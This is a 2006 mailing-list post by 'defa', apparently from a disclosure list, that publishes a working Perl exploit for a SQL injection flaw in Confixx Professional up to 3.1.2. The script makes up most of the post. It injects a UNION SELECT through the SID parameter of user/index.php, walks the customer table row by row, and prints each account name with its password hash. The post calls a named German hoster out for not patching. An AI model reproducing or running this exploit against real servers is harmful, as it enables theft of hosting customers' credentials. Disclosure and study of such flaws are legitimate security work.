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Confixx SQL Injection exploit (confixx_exploit.pl)
From: defa <defa () systemli org>
Date: Wed, 19 Apr 2006 17:53:42 +0200

Well - the patch is out - here is the exploit.

Hey - German hosters - if you call yourself "serverkompetenz.de" - why don't you fix your servers?

sincerly
defa

----BOF----
#!/usr/bin/perl

######################################################################## ########
#                                                                              #
# exploit for confixx professional <= 3.1.2                                 #
#                                                                              #
# the vulerability was discovered by: LoK Crew                                 #
# references: http://www.securityfocus.com/bid/17476                           #
#                                                                              #
# exploit can be used for any purpose but on own risk                          #
#                                                                              #
# (c) by defa - sorry for the crappy code                                      #
#                                                                              #
# url is just the host - directory is $url/user/index.php by default # # the exploit just fetches the longpw hashes of alle users #
#                                                                              #
# parts of the code are stolen from RuSH exploits - thanks a lot folks # ######################################################################## ########

use IO::Socket;

if (@ARGV < 1)
{
        print q(
                exploit by defa (2006)
                =========================
                confixx_exploit.pl [URL]
                
                params:
                [URL] - server url
                
                example: confixx_exploit.pl 127.0.0.1
        );
        exit;
}

$serv  = $ARGV[0];
$serv =~ s/(http:\/\/)//eg;

for ($i=0;$i<=100;$i++)
{
$hit = 0;
$url = "http://";;
$url .= $serv;
$url .= "/user/index.php?SID=1'%20AND%200=1%20UNION%20SELECT%20CONCAT";
$url .= "('_error|s:',length(longpw)%2Blength(kunde)%2B11,':%22','HIT: %20',"; $url .= "kunde,'%20:%20',longpw,'%20:%20','%22;')%20AS%20'sdata'% 20FROM%20";
$url .= "kunden%20LIMIT%20";
$url .= "$i,1/*";

$socket = IO::Socket::INET->new(
        Proto => "tcp",
        PeerAddr => $serv,
        PeerPort => "80") || die "[-] CONNECT FAILED\r\n";


print  $socket "GET $url HTTP/1.1\n";
print  $socket "Host: $serv\n";
print  $socket 'User-Agent: confixx_exploit'."\n";
print $socket "Connection: close\n\n";
while ($answer = <$socket>)
{
        if ($answer =~ /<p>HIT:/)
        {
                @result = split(/: /,$answer);
        
                print "$result[1]: $result[2]\n";
                $hit = 1;
        }

}
if ($hit == 0) {die("that's it");}
}

----EOF----
--
don't eat yellow snow




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